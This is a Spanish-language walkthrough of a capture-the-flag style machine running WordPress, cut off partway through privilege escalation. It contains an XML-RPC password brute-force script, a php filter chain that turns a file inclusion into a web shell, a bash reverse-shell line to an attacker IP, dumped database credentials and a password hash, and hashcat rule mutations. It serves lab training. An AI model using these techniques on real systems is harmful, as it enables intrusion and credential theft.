        <span class="hljs-tag">&lt;<span class="hljs-name">title</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"html"</span>&gt;</span>&lt;![CDATA[Hello Blue!]]&gt;<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">link</span> <span class="hljs-attr">rel</span>=<span class="hljs-string">"alternate"</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"text/html"</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"http://redrocks.win/2021/10/24/hello-world/"</span> /&gt;</span>

        <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>http://10.0.2.20/?p=1<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">updated</span>&gt;</span>2021-10-31T20:13:59Z<span class="hljs-tag">&lt;/<span class="hljs-name">updated</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">published</span>&gt;</span>2021-10-24T14:32:37Z<span class="hljs-tag">&lt;/<span class="hljs-name">published</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">category</span> <span class="hljs-attr">scheme</span>=<span class="hljs-string">"http://redrocks.win"</span> <span class="hljs-attr">term</span>=<span class="hljs-string">"Uncategorized"</span> /&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">summary</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"html"</span>&gt;</span>&lt;![CDATA[Red was here, Blue is a loser!]]&gt;<span class="hljs-tag">&lt;/<span class="hljs-name">summary</span>&gt;</span>

                    <span class="hljs-tag">&lt;<span class="hljs-name">content</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"html"</span> <span class="hljs-attr">xml:base</span>=<span class="hljs-string">"http://redrocks.win/2021/10/24/hello-world/"</span>&gt;</span>&lt;![CDATA[&lt;p&gt;Red was here, Blue is a loser!&lt;/p&gt;
&lt;p&gt;&lt;!-- Still Looking For It? Maybe you should ask Mr. Miessler for help, not that it matters, you won't be able to read anything with it anyway --&gt;&lt;/p&gt;
]]&gt;<span class="hljs-tag">&lt;/<span class="hljs-name">content</span>&gt;</span>

                    <span class="hljs-tag">&lt;<span class="hljs-name">link</span> <span class="hljs-attr">rel</span>=<span class="hljs-string">"replies"</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"text/html"</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"http://redrocks.win/2021/10/24/hello-world/#comments"</span> <span class="hljs-attr">thr:count</span>=<span class="hljs-string">"1"</span> /&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">link</span> <span class="hljs-attr">rel</span>=<span class="hljs-string">"replies"</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"application/atom+xml"</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"http://redrocks.win/2021/10/24/hello-world/feed/atom/"</span> <span class="hljs-attr">thr:count</span>=<span class="hljs-string">"1"</span> /&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">thr:total</span>&gt;</span>1<span class="hljs-tag">&lt;/<span class="hljs-name">thr:total</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">entry</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">feed</span>&gt;</span>
</code></pre>
<p>Parece que existe un backdoor que podriamos utilizar para ganar acceso.</p>
<p>Luego de mirar un poco me encuentro un hiperviculo en un post de la pagina</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752958062014/44d4481c-bbf1-41ad-9f40-ef80104c9230.png" alt class="image--center mx-auto" /></p>
<p>La cual lleva a otra IP, sobre /wp-admin.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752958130147/51122729-f32c-449a-8df5-af6cb10faa7b.png" alt class="image--center mx-auto" /></p>
<p>El cual me redirigue al tipico panel admin de worpress, lo unico que puedo comprobar es que existe el usuario administrator, debido a que devuelve una respuesta direfente.</p>
<p>Luego de seguir investigando me encuentro con lo siguiente.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752959561003/e6713ec5-e694-4f41-8a12-70a9c02bfb66.png" alt class="image--center mx-auto" /></p>
<p>El xmlrpc.php de los Worpress, esto sirve para enviar peticiones xml, quizas podamos estraer alguna informacion.</p>
<p>Intercepto la peticion con burpsuite y le doy a cambiar tipo de peticion, para tramitarlo por POST.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752959714103/00ffc6d5-aeae-470c-ac27-743c4277c09e.png" alt class="image--center mx-auto" /></p>
<p>Enviando lo siguiente</p>
<pre><code class="lang-xml"><span class="hljs-meta">&lt;?xml version="1.0" encoding="utf-8"?&gt;</span>  
<span class="hljs-tag">&lt;<span class="hljs-name">methodCall</span>&gt;</span>  
<span class="hljs-tag">&lt;<span class="hljs-name">methodName</span>&gt;</span>system.listMethods<span class="hljs-tag">&lt;/<span class="hljs-name">methodName</span>&gt;</span>  
<span class="hljs-tag">&lt;<span class="hljs-name">params</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">params</span>&gt;</span>  
<span class="hljs-tag">&lt;/<span class="hljs-name">methodCall</span>&gt;</span>
</code></pre>
<p>Una estructura basica, que nos permite listar todos los metodos que podemos utilizar.</p>
<p>Podemos intentar realizar fuerza bruta utilizando el metodo <code>wp.getUsersBlogs</code> (Se pueden utilizar otros metodos tambien como <code>wp.getCategories</code> o <code>metaWeblog.getUsersBlogs</code>)</p>
<p>Yo voy a utilizar un script en bash.</p>
<pre><code class="lang-bash"><span class="hljs-meta">#!/usr/bin/bash</span>

<span class="hljs-keyword">function</span> <span class="hljs-function"><span class="hljs-title">ctrl_c</span></span>(){
  <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\n\n[!]Saliendo...\n"</span>
  tput cnorm; <span class="hljs-built_in">exit</span> 1
}
tput civis

<span class="hljs-keyword">function</span> <span class="hljs-function"><span class="hljs-title">createXML</span></span>(){
  password=<span class="hljs-variable">$1</span>
  xmlfile=<span class="hljs-string">""</span><span class="hljs-string">"
&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;
&lt;methodCall&gt; 
&lt;methodName&gt;wp.getUsersBlogs&lt;/methodName&gt; 
&lt;params&gt; 
&lt;param&gt;&lt;value&gt;administrator&lt;/value&gt;&lt;/param&gt; 
&lt;param&gt;&lt;value&gt;<span class="hljs-variable">$password</span>&lt;/value&gt;&lt;/param&gt; 
&lt;/params&gt; 
&lt;/methodCall&gt;
"</span><span class="hljs-string">""</span>

  <span class="hljs-built_in">echo</span> <span class="hljs-variable">$xmlfile</span> &gt; file.xml

  response=$(curl -s -X POST http://192.168.0.14:/xmlrpc.php -d@file.xml)

  <span class="hljs-keyword">if</span> [ ! <span class="hljs-string">"<span class="hljs-subst">$(echo $response | grep 'Incorrect username or password')</span>"</span> ]; <span class="hljs-keyword">then</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\n La password para el usuario administrator es <span class="hljs-variable">$password</span>"</span>
    tput cnorm
    <span class="hljs-built_in">exit</span> 1
  <span class="hljs-keyword">fi</span>

}

<span class="hljs-comment"># Ctrl_c</span>
<span class="hljs-built_in">trap</span> ctrl_c SIGINT

cat /usr/share/wordlists/rockyou.txt | <span class="hljs-keyword">while</span> <span class="hljs-built_in">read</span> password; <span class="hljs-keyword">do</span>
  createXML <span class="hljs-variable">$password</span>
  tput cnorm
<span class="hljs-keyword">done</span>
</code></pre>
<p>Probando varios diccionarios, no logro dar con la contraseña del administrador.</p>
<p>Mirando la ruta <code>http://redrocks.win/wp-json/wp/v2/users</code>, podemos observar una lista de usuarios disponibles, donde podemos confirmar que solo existe el user administrator.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753055614529/acc6242d-dae7-45da-9bf3-f04466b702a3.png" alt class="image--center mx-auto" /></p>
<p>Haciendo Fuzzing por extenciones .php veo que obtengo un internal server error</p>
<pre><code class="lang-bash">ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt -u http://192.168.0.14/FUZZ -t 40 -fl 10

        /<span class="hljs-string">'___\  /'</span>___\           /<span class="hljs-string">'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.0.14/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response lines: 10
________________________________________________

NetworkFileManagerPHP.php [Status: 500, Size: 0, Words: 1, Lines: 1, Duration: 5807ms]</span>
</code></pre>
<p>Normalmente los backdoor suelen ser del siguiente estilo: <code>ejemplo.php?var=&lt;comando&gt;</code>, por tanto ahora nos toca buscar esa variable.</p>
<p>Luego de varios intentos, debido a que al usar hilos o enviar multiples peticiones por mucho tiempo la maquina se colgaba, logro descubrir la variable <code>key</code>.</p>
<p>La url quedaria de la siguiente manera <code>http://redrocks.win/NetworkFileManagerPHP.php?key</code></p>
<p>Intento ejecutar comandos, pero no me deja, hasta que pruebo apuntar un archivo y veo lo siguiente.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753127674404/18bf7265-3a4b-4d7d-906c-44501d7e4792.png" alt class="image--center mx-auto" /></p>
<p>Por tanto, parece que tenemos un lfi (Local File Inclusion), vamos a listar.</p>
<p>Para ganar acesso directamente voy a utilizar de php filter chain.</p>
<p>Esta tecnia podria tener su poprio capitulo aparte de explicar como funciona, voy a explicarlo en resumen y si quieren, en un futuro doy una explicacion mas profunda.</p>
<p>Basicamente consiste en abusar en la forma de como se representan los datos en unicode segun que tipo de codificacion se utilize (ejemplo UTF-8, UTF-7, etc.)</p>
<p>Lo interesante aqui es que podemos ir cambiando sobre los tipos de codificacion para ir representando en la web lo que queremos, en este caso yo voy a representar una web shell sencilla de php <code>&lt;? php echo shell_exec($_GET[cmd])"; ?&gt;</code>, donde utilizamos la variable <code>cmd</code>, para ejecutar el comando deado.</p>
<p>Para hallar la sucesion de conversiones que necesito, utilizare el siguiente proyecto → php_filter_chain</p>
<p>El payload quedaria de la siguiente forma:</p>
<pre><code class="lang-bash">python3 php_filter_chain_generator.py --chain <span class="hljs-string">'&lt;?php echo shell_exec($_GET['</span>cmd<span class="hljs-string">']); ?&gt;'</span>
[+] The following gadget chain will generate the following code : &lt;?php <span class="hljs-built_in">echo</span> shell_exec(<span class="hljs-variable">$_GET</span>[cmd]); ?&gt; (base64 value: PD9waHAgZWNobyBzaGVsbF9leGVjKCRfR0VUW2NtZF0pOyA/Pg)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
</code></pre>
<p>El cual si pegamos en la web y agregamos <code>&amp;cmd=&lt;comando&gt;</code> al final, nos ejecuta el comando.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753128798064/42f41d71-875a-4b19-8a4b-19b71c3f1816.png" alt class="image--center mx-auto" /></p>
<p>En este caso, puse <code>whoami</code> y vemos <code>www-data</code>, por tanto tenemos ejecucion de comandos, vamos a recibir una consola con pwncat.</p>
<p>En lugar de <code>whoami</code>, la siguiente linea <code>bash -c "bash -i &gt;%26 /dev/tcp/192.168.0.8/4443 0&gt;%261"</code>.</p>
<pre><code class="lang-bash">pwncat-cs :4443
[17:27:33] Welcome to pwncat 🐈!                                                                       __main__.py:164
[17:27:35] received connection from 192.168.0.14:42536                                                      bind.py:84
[17:27:37] 192.168.0.14:42536: registered new host w/ db
</code></pre>
<p>Pwncat es una herramienta bastante fuerte, para transferir archivos y moverse entre tu maquina atacante y la victima entre otras cosas.</p>
<h1 id="heading-escalada-de-privilegios">Escalada de Privilegios.</h1>
<p>Ahora toca enumerar el sistema para ver que encontramos.</p>
<p>Revisando la ruta <code>/var/www/wordpress</code>, me ecuentro con el archivo de configuracion.</p>
<pre><code class="lang-bash">ls
 %26                license.txt     wp-comments-post.php    wp-includes        wp-settings.php
 %261                readme.html     wp-config-sample.php    wp-links-opml.php   wp-signup.php
<span class="hljs-string">'%261'</span>$<span class="hljs-string">'\n'</span>            wp-activate.php     wp-config.php        wp-load.php        wp-trackback.php
 NetworkFileManagerPHP.php   wp-admin         wp-content        wp-login.php        xmlrpc.php
 index.php            wp-blog-header.php   wp-cron.php        wp-mail.php
</code></pre>
<p>El cual contiene las siguientes credenciales:</p>
<pre><code class="lang-php"><span class="hljs-meta">&lt;?php</span>
<span class="hljs-comment">/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * <span class="hljs-doctag">@link</span> https://wordpress.org/support/article/editing-wp-config-php/
 *
 * <span class="hljs-doctag">@package</span> WordPress
 */</span>
<span class="hljs-comment">// ** MySQL settings - You can get this info from your web host ** //</span>
<span class="hljs-comment">/** The name of the database for WordPress */</span>
define( <span class="hljs-string">'DB_NAME'</span>, <span class="hljs-string">'wordpress'</span> );

<span class="hljs-comment">/** MySQL database username */</span>
define( <span class="hljs-string">'DB_USER'</span>, <span class="hljs-string">'john'</span> );

<span class="hljs-comment">/** MySQL database password */</span>
define( <span class="hljs-string">'DB_PASSWORD'</span>, <span class="hljs-string">'R3v_m4lwh3r3_k1nG!!'</span> );
</code></pre>
<p>El usuario existe, por tanto voy a intentar conectarme por ssh, para ver si funciona.</p>
<p>Pero no, no funciona, vamos a intentar conectarnos al MYSQL para ver que encontramos</p>
<pre><code class="lang-php">mysql -u john -p 
Enter password: <span class="hljs-comment"># R3v_m4lwh3r3_k1nG!!</span>
Welcome to the MySQL monitor.  Commands end with ; <span class="hljs-keyword">or</span> \g.
Your MySQL connection id is <span class="hljs-number">4906</span>
Server version: <span class="hljs-number">8.0</span><span class="hljs-number">.26</span><span class="hljs-number">-0</span>ubuntu0<span class="hljs-number">.20</span><span class="hljs-number">.04</span><span class="hljs-number">.3</span> (Ubuntu)

Copyright (c) <span class="hljs-number">2000</span>, <span class="hljs-number">2021</span>, Oracle <span class="hljs-keyword">and</span>/<span class="hljs-keyword">or</span> its affiliates.

Oracle is a registered trademark of Oracle Corporation <span class="hljs-keyword">and</span>/<span class="hljs-keyword">or</span> its
affiliates. Other names may be trademarks of their respective
owners.

Type <span class="hljs-string">'help;'</span> <span class="hljs-keyword">or</span> <span class="hljs-string">'\h'</span> <span class="hljs-keyword">for</span> help. Type <span class="hljs-string">'\c'</span> to clear the current input statement.

mysql&gt;
</code></pre>
<pre><code class="lang-php">show databases();
<span class="hljs-built_in">ERROR</span> <span class="hljs-number">1064</span> (<span class="hljs-number">42000</span>): You have an <span class="hljs-built_in">error</span> in your SQL syntax; check the manual that corresponds to your MySQL server version <span class="hljs-keyword">for</span> the right syntax to <span class="hljs-keyword">use</span> <span class="hljs-title">near</span> '()' <span class="hljs-title">at</span> <span class="hljs-title">line</span> 1
<span class="hljs-title">mysql</span>&gt; <span class="hljs-title">You</span> <span class="hljs-title">will</span> <span class="hljs-title">never</span> <span class="hljs-title">win</span> <span class="hljs-title">Blue</span>

<span class="hljs-title">mysql</span>&gt; <span class="hljs-title">show</span> <span class="hljs-title">databases</span>;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| wordpress          |
+--------------------+
<span class="hljs-number">2</span> rows in set (<span class="hljs-number">0.14</span> sec)

mysql&gt; <span class="hljs-keyword">use</span> <span class="hljs-title">wordpress</span>
<span class="hljs-title">Reading</span> <span class="hljs-title">table</span> <span class="hljs-title">information</span> <span class="hljs-title">for</span> <span class="hljs-title">completion</span> <span class="hljs-title">of</span> <span class="hljs-title">table</span> <span class="hljs-title">and</span> <span class="hljs-title">column</span> <span class="hljs-title">names</span>
<span class="hljs-title">You</span> <span class="hljs-title">can</span> <span class="hljs-title">turn</span> <span class="hljs-title">off</span> <span class="hljs-title">this</span> <span class="hljs-title">feature</span> <span class="hljs-title">to</span> <span class="hljs-title">get</span> <span class="hljs-title">a</span> <span class="hljs-title">quicker</span> <span class="hljs-title">startup</span> <span class="hljs-title">with</span> -<span class="hljs-title">A</span>

<span class="hljs-title">Database</span> <span class="hljs-title">changed</span>
<span class="hljs-title">mysql</span>&gt; <span class="hljs-title">show</span> <span class="hljs-title">tables</span>;
+-----------------------+
| Tables_in_wordpress   |
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+
<span class="hljs-number">12</span> rows in set (<span class="hljs-number">0.00</span> sec)

mysql&gt; select * <span class="hljs-keyword">from</span> wp_users;
+----+---------------+------------------------------------+---------------+---------------+------------------+---------------------+---------------------+-------------+---------------+
| ID | user_login    | user_pass                          | user_nicename | user_email    | user_url         | user_registered     | user_activation_key | user_status | display_name  |
+----+---------------+------------------------------------+---------------+---------------+------------------+---------------------+---------------------+-------------+---------------+
|  <span class="hljs-number">1</span> | administrator | $P$BHts8T4UWtFsg2Od/BqoFMxZoktTsq. | administrator | red@rocks.com | http:<span class="hljs-comment">//10.0.2.20 | 2021-10-24 14:32:37 |                     |           0 | administrator |</span>
+----+---------------+------------------------------------+---------------+---------------+------------------+---------------------+---------------------+-------------+---------------+
<span class="hljs-number">1</span> row in set (<span class="hljs-number">0.00</span> sec)
</code></pre>
<p>Tenemos la clave del administrador, pero parece estar cifrada. Podriamos intentar romperla, pero como ya hicimos fuerza bruta desde antes, no creo que valga la pena.</p>
<p>Luego de varios intentos, se me ocurrio hacer una lista de variaciones con la pass que tenemos, esto lo podemos hacer con <code>hascat</code>.</p>
<pre><code class="lang-php">hashcat --stdout pass -r /usr/share/hashcat/rules/best64.rule

R3v_m4lwh3r3_k1nG!!
!!Gn1k_3r3hwl4m_v3R
R3V_M4LWH3R3_K1NG!!
r3v_m4lwh3r3_k1nG!!
R3v_m4lwh3r3_k1nG!!<span class="hljs-number">0</span>
R3v_m4lwh3r3_k1nG!!<span class="hljs-number">1</span>
R3v_m4lwh3r3_k1nG!!<span class="hljs-number">2</span>
R3v_m4lwh3r3_k1nG!!<span class="hljs-number">3</span>
R3v_m4lwh3r3_k1nG!!<span class="hljs-number">4</span>
R3v_m4lwh3r3_k1nG!!<span class="hljs-number">5</span>
R3v_m4lwh3r3_k1nG!!<span class="hljs-number">6</span>
R3v_m4lwh3r3_k1nG!!<span class="hljs-number">7</span>
R3v_m4lwh3r3_k1nG!!<span class="hljs-number">8</span>
R3v_m4lwh3r3_k1nG!!<span class="hljs-number">9</span>
R3v_m4lwh3r3_k1nG!!<span class="hljs-number">00</span>
R3v_m4lwh3r3_k1nG!!<span class="hljs-number">01</span>
R3v_m4lwh3r3_k1nG!!<span class="hljs-number">02</span>
R3v_m4lwh3r3_k1nG!!<span class="hljs-number">11</span>
R3v_m4lwh3r3_k1nG!!<span class="hljs-number">12</span>
R3v_m4lwh3r3_k1nG!!<span class="hljs-number">13</span>
R3v_m4lwh3r3_k1nG!!<span class="hljs-number">21</span>
R3v_m4lwh3r3_k1nG!!<span class="hljs-number">22</span>
R3v_m4lwh3r3_k1nG!!<span class="hljs-number">23</span>
R3v_m4lwh3r3_k1nG!!<span class="hljs-number">69</span>
R3v_m4lwh3r3_k1nG!!<span class="hljs-number">77</span>
R3v_m4lwh3r3_k1nG!!<span class="hljs-number">88</span>
R3v_m4lwh3r3_k1nG!!<span class="hljs-number">99</span>
R3v_m4lwh3r3_k1nG!!<span class="hljs-number">123</span>
R3v_m4lwh3r3_k1nG!!e
R3v_m4lwh3r3_k1nG!!s
R3v_m4lwh3r3_k1nG!a
R3v_m4lwh3r3_k1nGs
R3v_m4lwh3r3_k1nGa
R3v_m4lwh3r3_k1nGer
R3v_m4lwh3r3_k1nGie
R3v_m4lwh3r3_k1no
R3v_m4lwh3r3_k1ny
R3v_m4lwh3r3_k1n123
R3v_m4lwh3r3_k1nman
R3v_m4lwh3r3_k1ndog
<span class="hljs-number">1</span>R3v_m4lwh3r3_k1nG!!
theR3v_m4lwh3r3_k1nG!!
d3v_m4lwh3r3_k1nG!!
mav_m4lwh3r3_k1nG!!
R3v_m4lwh3r3_k1nG!!
